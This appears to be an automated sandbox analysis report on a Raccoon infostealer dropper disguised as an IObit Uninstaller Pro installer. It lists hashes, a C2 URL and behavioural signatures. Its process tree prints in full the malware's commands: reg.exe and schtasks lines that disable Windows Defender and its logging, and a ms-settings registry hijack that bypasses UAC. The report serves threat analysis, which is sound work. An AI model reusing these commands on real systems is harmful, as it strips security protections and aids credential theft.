General
Target

112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.exe

Filesize

20MB

Completed

12-05-2022 00:10

Task

behavioral2

Score
10/10
MD5

b0380709dc0e7e6f93a23a8c29e81b43

SHA1

6cadc796182ebea50650832f9b026f32962fcd12

SHA256

112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305

SHA256

b91ffbe294dff3dec1374c4dfb963fe2327611cbbf1307281562fbe486c9597f68013c1036e1b799c14c32f37966022bdefd2ee7513d5fb0d28e944b488cb12c

Malware Config

Extracted

Family

raccoon

Botnet

c763e433ef51ff4b6c545800e4ba3b3b1a2ea077

Attributes
url4cnc
https://telete.in/jbitchsucks
rc4.plain
rc4.plain
Signatures 18

Filter: none

Defense Evasion
Discovery
Persistence
  • Modifies Windows Defender Real-time Protection settings

    TTPs

    Modify RegistryModify Existing ServiceDisabling Security Tools
  • Modifies security service
    reg.exe

    Tags

    TTPs

    Modify RegistryModify Existing Service

    Reported IOCs

    descriptioniocprocess
    Set value (int)\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"reg.exe
  • Raccoon

    Description

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload

    Reported IOCs

    resourceyara_rule
    behavioral2/memory/3096-284-0x0000000000400000-0x0000000000493000-memory.dmpfamily_raccoon
    behavioral2/memory/3096-286-0x0000000000400000-0x0000000000493000-memory.dmpfamily_raccoon
    behavioral2/memory/3096-287-0x0000000000400000-0x0000000000493000-memory.dmpfamily_raccoon
    behavioral2/memory/3096-288-0x0000000000400000-0x0000000000493000-memory.dmpfamily_raccoon
  • Executes dropped EXE
    112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmpIObit Uninstaller Pro 9.5.0.15.exeIObit Uninstaller Pro 9.5.0.15.tmp7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe84613.exe84613.exe

    Reported IOCs

    pidprocess
    4352112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp
    1368IObit Uninstaller Pro 9.5.0.15.exe
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    38607z.exe
    23447z.exe
    30967z.exe
    39607z.exe
    48767z.exe
    32327z.exe
    10727z.exe
    21687z.exe
    338884613.exe
    309684613.exe
  • Checks computer location settings
    112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmpWScript.exe

    Description

    Looks up country code configured in the registry, likely geofence.

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key value queried\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp
    Key value queried\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\NationWScript.exe
  • Loads dropped DLL
    112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmpIObit Uninstaller Pro 9.5.0.15.tmp7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe84613.exe

    Reported IOCs

    pidprocess
    4352112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    38607z.exe
    23447z.exe
    30967z.exe
    39607z.exe
    48767z.exe
    32327z.exe
    10727z.exe
    21687z.exe
    338884613.exe
  • Suspicious use of SetThreadContext
    84613.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 3388 set thread context of 3096338884613.exe84613.exe
  • Drops file in Program Files directory
    112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp

    Reported IOCs

    descriptioniocprocess
    File createdC:\Program Files (x86)\is-PC34D.tmp112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp
    File opened for modificationC:\Program Files (x86)\IObit Uninstaller Pro 9.5.0.15.exe112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp
  • Enumerates physical storage devices

    Description

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

    TTPs

    System Information Discovery
  • Delays execution with timeout.exe
    timeout.exe

    Tags

    Reported IOCs

    pidprocess
    3936timeout.exe
  • Modifies registry class
    reg.exe112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmpreg.exe

    Reported IOCs

    descriptioniocprocess
    Set value (str)\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\ms-settings\shell\open\command\DelegateExecute = " "reg.exe
    Key created\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\Local Settings112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp
    Key created\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\ms-settings\shell\open\commandreg.exe
    Key created\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\ms-settingsreg.exe
    Key created\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\ms-settings\shellreg.exe
    Key created\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\ms-settings\shell\openreg.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\ms-settings\shell\open\command\ = "C:\\windows\\SysWow64\\cmd.exe /c REG ADD HKLM\\software\\microsoft\\windows\\currentversion\\policies\\system /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"reg.exe
    Key created\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\ms-settings\shell\open\commandreg.exe
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses
    112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmpIObit Uninstaller Pro 9.5.0.15.tmp84613.exe

    Reported IOCs

    pidprocess
    4352112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp
    4352112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    338884613.exe
  • Suspicious use of AdjustPrivilegeToken
    7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe84613.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeRestorePrivilege38607z.exe
    Token: 3538607z.exe
    Token: SeSecurityPrivilege38607z.exe
    Token: SeSecurityPrivilege38607z.exe
    Token: SeRestorePrivilege23447z.exe
    Token: 3523447z.exe
    Token: SeSecurityPrivilege23447z.exe
    Token: SeSecurityPrivilege23447z.exe
    Token: SeRestorePrivilege30967z.exe
    Token: 3530967z.exe
    Token: SeSecurityPrivilege30967z.exe
    Token: SeSecurityPrivilege30967z.exe
    Token: SeRestorePrivilege39607z.exe
    Token: 3539607z.exe
    Token: SeSecurityPrivilege39607z.exe
    Token: SeSecurityPrivilege39607z.exe
    Token: SeRestorePrivilege48767z.exe
    Token: 3548767z.exe
    Token: SeSecurityPrivilege48767z.exe
    Token: SeSecurityPrivilege48767z.exe
    Token: SeRestorePrivilege32327z.exe
    Token: 3532327z.exe
    Token: SeSecurityPrivilege32327z.exe
    Token: SeSecurityPrivilege32327z.exe
    Token: SeRestorePrivilege10727z.exe
    Token: 3510727z.exe
    Token: SeSecurityPrivilege10727z.exe
    Token: SeSecurityPrivilege10727z.exe
    Token: SeRestorePrivilege21687z.exe
    Token: 3521687z.exe
    Token: SeSecurityPrivilege21687z.exe
    Token: SeSecurityPrivilege21687z.exe
    Token: SeDebugPrivilege338884613.exe
  • Suspicious use of FindShellTrayWindow
    112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp

    Reported IOCs

    pidprocess
    4352112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp
  • Suspicious use of SetWindowsHookEx
    IObit Uninstaller Pro 9.5.0.15.tmp

    Reported IOCs

    pidprocess
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
    1196IObit Uninstaller Pro 9.5.0.15.tmp
  • Suspicious use of WriteProcessMemory
    112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.exe112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmpIObit Uninstaller Pro 9.5.0.15.exeIObit Uninstaller Pro 9.5.0.15.tmpnet.exeWScript.execmd.execmd.execmd.execmd.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 3440 wrote to memory of 43523440112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.exe112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp
    PID 3440 wrote to memory of 43523440112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.exe112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp
    PID 3440 wrote to memory of 43523440112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.exe112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp
    PID 4352 wrote to memory of 13684352112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmpIObit Uninstaller Pro 9.5.0.15.exe
    PID 4352 wrote to memory of 13684352112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmpIObit Uninstaller Pro 9.5.0.15.exe
    PID 4352 wrote to memory of 13684352112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmpIObit Uninstaller Pro 9.5.0.15.exe
    PID 1368 wrote to memory of 11961368IObit Uninstaller Pro 9.5.0.15.exeIObit Uninstaller Pro 9.5.0.15.tmp
    PID 1368 wrote to memory of 11961368IObit Uninstaller Pro 9.5.0.15.exeIObit Uninstaller Pro 9.5.0.15.tmp
    PID 1368 wrote to memory of 11961368IObit Uninstaller Pro 9.5.0.15.exeIObit Uninstaller Pro 9.5.0.15.tmp
    PID 4352 wrote to memory of 34364352112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmpWScript.exe
    PID 4352 wrote to memory of 34364352112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmpWScript.exe
    PID 4352 wrote to memory of 34364352112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmpWScript.exe
    PID 1196 wrote to memory of 3801196IObit Uninstaller Pro 9.5.0.15.tmpnet.exe
    PID 1196 wrote to memory of 3801196IObit Uninstaller Pro 9.5.0.15.tmpnet.exe
    PID 1196 wrote to memory of 3801196IObit Uninstaller Pro 9.5.0.15.tmpnet.exe
    PID 380 wrote to memory of 4656380net.exenet1.exe
    PID 380 wrote to memory of 4656380net.exenet1.exe
    PID 380 wrote to memory of 4656380net.exenet1.exe
    PID 3436 wrote to memory of 2243436WScript.execmd.exe
    PID 3436 wrote to memory of 2243436WScript.execmd.exe
    PID 3436 wrote to memory of 2243436WScript.execmd.exe
    PID 3436 wrote to memory of 46283436WScript.execmd.exe
    PID 3436 wrote to memory of 46283436WScript.execmd.exe
    PID 3436 wrote to memory of 46283436WScript.execmd.exe
    PID 224 wrote to memory of 940224cmd.exereg.exe
    PID 224 wrote to memory of 940224cmd.exereg.exe
    PID 224 wrote to memory of 940224cmd.exereg.exe
    PID 4628 wrote to memory of 35404628cmd.exereg.exe
    PID 4628 wrote to memory of 35404628cmd.exereg.exe
    PID 4628 wrote to memory of 35404628cmd.exereg.exe
    PID 224 wrote to memory of 1072224cmd.exe7z.exe
    PID 224 wrote to memory of 1072224cmd.exe7z.exe
    PID 224 wrote to memory of 1072224cmd.exe7z.exe
    PID 4628 wrote to memory of 50044628cmd.exereg.exe
    PID 4628 wrote to memory of 50044628cmd.exereg.exe
    PID 4628 wrote to memory of 50044628cmd.exereg.exe
    PID 224 wrote to memory of 1316224cmd.exereg.exe
    PID 224 wrote to memory of 1316224cmd.exereg.exe
    PID 224 wrote to memory of 1316224cmd.exereg.exe
    PID 224 wrote to memory of 628224cmd.exereg.exe
    PID 224 wrote to memory of 628224cmd.exereg.exe
    PID 224 wrote to memory of 628224cmd.exereg.exe
    PID 3436 wrote to memory of 23843436WScript.execmd.exe
    PID 3436 wrote to memory of 23843436WScript.execmd.exe
    PID 3436 wrote to memory of 23843436WScript.execmd.exe
    PID 3436 wrote to memory of 37723436WScript.execmd.exe
    PID 3436 wrote to memory of 37723436WScript.execmd.exe
    PID 3436 wrote to memory of 37723436WScript.execmd.exe
    PID 224 wrote to memory of 3388224cmd.exe84613.exe
    PID 224 wrote to memory of 3388224cmd.exe84613.exe
    PID 224 wrote to memory of 3388224cmd.exe84613.exe
    PID 2384 wrote to memory of 45162384cmd.exemode.com
    PID 2384 wrote to memory of 45162384cmd.exemode.com
    PID 2384 wrote to memory of 45162384cmd.exemode.com
    PID 224 wrote to memory of 2012224cmd.exereg.exe
    PID 224 wrote to memory of 2012224cmd.exereg.exe
    PID 224 wrote to memory of 2012224cmd.exereg.exe
    PID 3772 wrote to memory of 39363772cmd.exetimeout.exe
    PID 3772 wrote to memory of 39363772cmd.exetimeout.exe
    PID 3772 wrote to memory of 39363772cmd.exetimeout.exe
    PID 224 wrote to memory of 1296224cmd.exereg.exe
    PID 224 wrote to memory of 1296224cmd.exereg.exe
    PID 224 wrote to memory of 1296224cmd.exereg.exe
    PID 2384 wrote to memory of 38602384cmd.exe7z.exe
Processes 57
  • C:\Users\Admin\AppData\Local\Temp\112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.exe
    "C:\Users\Admin\AppData\Local\Temp\112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.exe"
    Suspicious use of WriteProcessMemory
    PID:3440
    • C:\Users\Admin\AppData\Local\Temp\is-1KJB1.tmp\112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-1KJB1.tmp\112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.tmp" /SL5="$3003C,21125936,747008,C:\Users\Admin\AppData\Local\Temp\112ab834c940929a9326af7e5b7d33649357d6e03c301db730519e00f2d40305.exe"
      Executes dropped EXE
      Checks computer location settings
      Loads dropped DLL
      Drops file in Program Files directory
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4352
      • C:\Program Files (x86)\IObit Uninstaller Pro 9.5.0.15.exe
        "C:\Program Files (x86)\IObit Uninstaller Pro 9.5.0.15.exe"
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        PID:1368
        • C:\Users\Admin\AppData\Local\Temp\is-1K9MS.tmp\IObit Uninstaller Pro 9.5.0.15.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-1K9MS.tmp\IObit Uninstaller Pro 9.5.0.15.tmp" /SL5="$501D0,17055524,79872,C:\Program Files (x86)\IObit Uninstaller Pro 9.5.0.15.exe"
          Executes dropped EXE
          Loads dropped DLL
          Suspicious behavior: EnumeratesProcesses
          Suspicious use of SetWindowsHookEx
          Suspicious use of WriteProcessMemory
          PID:1196
          • C:\Windows\SysWOW64\net.exe
            "net" stop "IObit Uninstaller Service"
            Suspicious use of WriteProcessMemory
            PID:380
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "IObit Uninstaller Service"
              PID:4656
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\QvL\MMF.vbs"
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        PID:3436
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\ProgramData\QvL\DisableOAVProtection.bat" "
          Suspicious use of WriteProcessMemory
          PID:224
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
            PID:940
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
            PID:1072
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
            PID:628
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
            PID:2012
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
            PID:3388
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
            PID:1316
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
            PID:1296
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
            PID:4376
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
            PID:2312
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
            PID:3984
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
            PID:2732
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
            PID:4976
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
            PID:1536
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
            Modifies registry class
            PID:3540
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
            PID:3260
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
            PID:4700
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
            PID:452
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
            PID:2592
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
            PID:4612
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
            PID:1556
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
            PID:1356
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
            PID:3436
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
            PID:4588
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
            PID:1740
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
            PID:1224
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
            PID:1496
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
            PID:692
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
            PID:964
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
            PID:1684
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
            PID:1924
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
            Modifies security service
            PID:3184
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
            PID:3512
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\ProgramData\QvL\DisableUserAccountControl.bat" "
          Suspicious use of WriteProcessMemory
          PID:4628
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKCU\SOFTWARE\Classes\ms-settings\shell\open\command" /t REG_SZ /d "C:\windows\system32\cmd.exe /c REG ADD HKLM\software\microsoft\windows\currentversion\policies\system /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f" /f
            PID:3540
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "hkcu\software\classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d " " /f
            Modifies registry class
            PID:5004
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\ProgramData\QvL\DiskRemoval.bat" "
          Suspicious use of WriteProcessMemory
          PID:3772
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\ProgramData\QvL\main.bat" "
          Suspicious use of WriteProcessMemory
          PID:2384
          • C:\ProgramData\QvL\7z.exe
            7z.exe e file.zip -p___________22830pwd1083pwd601___________ -oextracted
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of AdjustPrivilegeToken
            PID:3860
          • C:\ProgramData\QvL\7z.exe
            7z.exe e extracted/file_7.zip -oextracted
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of AdjustPrivilegeToken
            PID:2344
          • C:\ProgramData\QvL\7z.exe
            7z.exe e extracted/file_6.zip -oextracted
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of AdjustPrivilegeToken
            PID:3096
          • C:\ProgramData\QvL\7z.exe
            7z.exe e extracted/file_5.zip -oextracted
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of AdjustPrivilegeToken
            PID:3960
          • C:\ProgramData\QvL\7z.exe
            7z.exe e extracted/file_4.zip -oextracted
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of AdjustPrivilegeToken
            PID:4876
          • C:\ProgramData\QvL\7z.exe
            7z.exe e extracted/file_3.zip -oextracted
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of AdjustPrivilegeToken
            PID:3232
          • C:\ProgramData\QvL\7z.exe
            7z.exe e extracted/file_2.zip -oextracted
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of AdjustPrivilegeToken
            PID:1072
          • C:\ProgramData\QvL\7z.exe
            7z.exe e extracted/file_1.zip -oextracted
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of AdjustPrivilegeToken
            PID:2168
          • C:\ProgramData\QvL\84613.exe
            "84613.exe"
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of SetThreadContext
            Suspicious behavior: EnumeratesProcesses
            Suspicious use of AdjustPrivilegeToken
            PID:3388
            • C:\ProgramData\QvL\84613.exe
              "84613.exe"
              Executes dropped EXE
              PID:3096
  • C:\Windows\SysWOW64\timeout.exe
    timeout /T 60 /NOBREAK
    Delays execution with timeout.exe
    PID:3936
  • C:\Windows\SysWOW64\mode.com
    mode 65,10
    PID:4516
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Execution
          Exfiltration
            Impact
              Initial Access
                Lateral Movement
                  Privilege Escalation
                    Replay Monitor
                    00:00 00:00
                    Downloads
                    • C:\Program Files (x86)\IObit Uninstaller Pro 9.5.0.15.exe

                      MD5

                      b94949bc0cf7c7b3ecb695b33f0069d2

                      SHA1

                      0ad91e26503080fbcf9f5e1acfaafdb3f9664bef

                      SHA256

                      a1b83b65615abb8d2f7efe2614473f25af101ba8699c8878a85288f871a93e6f

                      SHA512

                      493f3af236b2c59222237b853644b8a050bfd10bfd2ca127416259aaf69fd18a22e93d6fdfe3b96a93acc861f3acad54e367ef322a132c4549fee821beb0dced

                    • C:\Program Files (x86)\IObit Uninstaller Pro 9.5.0.15.exe

                      MD5

                      b94949bc0cf7c7b3ecb695b33f0069d2

                      SHA1

                      0ad91e26503080fbcf9f5e1acfaafdb3f9664bef

                      SHA256

                      a1b83b65615abb8d2f7efe2614473f25af101ba8699c8878a85288f871a93e6f

                      SHA512

                      493f3af236b2c59222237b853644b8a050bfd10bfd2ca127416259aaf69fd18a22e93d6fdfe3b96a93acc861f3acad54e367ef322a132c4549fee821beb0dced

                    • C:\ProgramData\QvL\7z.dll

                      MD5

                      72491c7b87a7c2dd350b727444f13bb4

                      SHA1

                      1e9338d56db7ded386878eab7bb44b8934ab1bc7

                      SHA256

                      34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                      SHA512

                      583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                    • C:\ProgramData\QvL\7z.dll

                      MD5

                      72491c7b87a7c2dd350b727444f13bb4

                      SHA1

                      1e9338d56db7ded386878eab7bb44b8934ab1bc7

                      SHA256

                      34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                      SHA512

                      583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                    • C:\ProgramData\QvL\7z.dll

                      MD5

                      72491c7b87a7c2dd350b727444f13bb4

                      SHA1

                      1e9338d56db7ded386878eab7bb44b8934ab1bc7

                      SHA256

                      34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                      SHA512

